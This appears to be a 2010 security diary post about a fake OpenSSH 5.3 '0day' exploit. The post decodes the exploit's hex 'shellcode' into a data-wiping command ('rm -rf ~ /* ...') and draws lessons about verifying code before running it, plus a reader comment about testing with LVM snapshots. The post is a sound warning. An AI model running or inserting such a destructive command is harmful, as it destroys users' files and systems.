When is a 0day not a 0day? Fake OpenSSh exploit, again.
Last Updated: 2011-01-30 04:34:52 UTC
by Adrien de Beaupre (Version: 2)
When is a 0day in OpenSSH not a 0day? When it's local exploit code. Not the kind that exploits a vulnerability in the system you are logged into, to escalate privilege for example. The kind that takes advantage of potential vulnerabilities in the gray matter between your ears to make a mess of your local system. A reader wrote in to advise us of a potential 0day in the current version of OpenSSH 5.3/5.3p1 released Oct 1, 2009. He provided a link to a blog post which has what appears to be exploit code. Unfortunately the first thing I did, before I looked at the code, was fire off an email to the OpenSSH list. They responded quite quickly that "It's pretty clear that the code just exploits your local machine...". Woops. A follow up email says "Looks like a rehash of the fake "exploit" from last July." So, the good news is, there does not appear to be a 0day on OpenSSh making the rounds. The bad news is, if you ran the code you are rebuilding your system. Worse still, if you emailed all your friends pointing to the 'exploit' code, well, now you look rather foolish.
Lesson one to me, always check things out.
Do the research and analysis before crying wolf. Fortunately no harm done. This has to be balanced against the requirement for timeliness of information flow along a contact tree. In this case I erred on the side of alerting quickly.
A quick look at the C code and it does appear to run an exploit. The hex at the beginning could be shell code. Part of it looks like this:
char jmpcode =
Which starts to looks familiar when run through an online Hex to ASCII decode:
?????r?m? ?-?r?f? ?~? ?/?*? ?2?>? ?/??????d?e?v?/?n?u?l?l? ?&?
When you strip out and clean it up it looks like this:
"rm -rf ~ /* 2> /dev/null &"
That can't be good. On a lot of Linux or Mac OS X systems, if run as root, your hard drive would be pretty active as it tries to delete everything, if not root it just deletes your home directory. Other chunks of the 'code' are a perl script to join IRC.
Lesson two, just because it looks like shell code, a buffer overflow, or assembly language, doesn't mean it is.
Lesson three is also fairly obvious, make certain you know what the code does before you run it.
Back to the blog post for a second, assuming that the poster didn't know what it was, and thought it was in fact a 0day in OpenSSH, perhaps they could have performed a bit of checking prior to posting online. Although it could also have been posted as a prank or practical joke.
Lesson four, just because something is posted online does not mean anyone has actually checked the facts or performed QA on the code.
The last point would be to first inspect the code, then to run it only in a throw away VM or sandbox.
Thanks to Sander for the original alert, and to Niels and others at OpenSSH for pointing out that this is an old 'sploit, and the underlying shell script.
Adrien de Beaupré
Another way to test things on a live system is to use snapshot feature in LVM and then chroot to the snapshot.
I've wrote a small instruction on my blog:
Feb 17th 2010
1 decade ago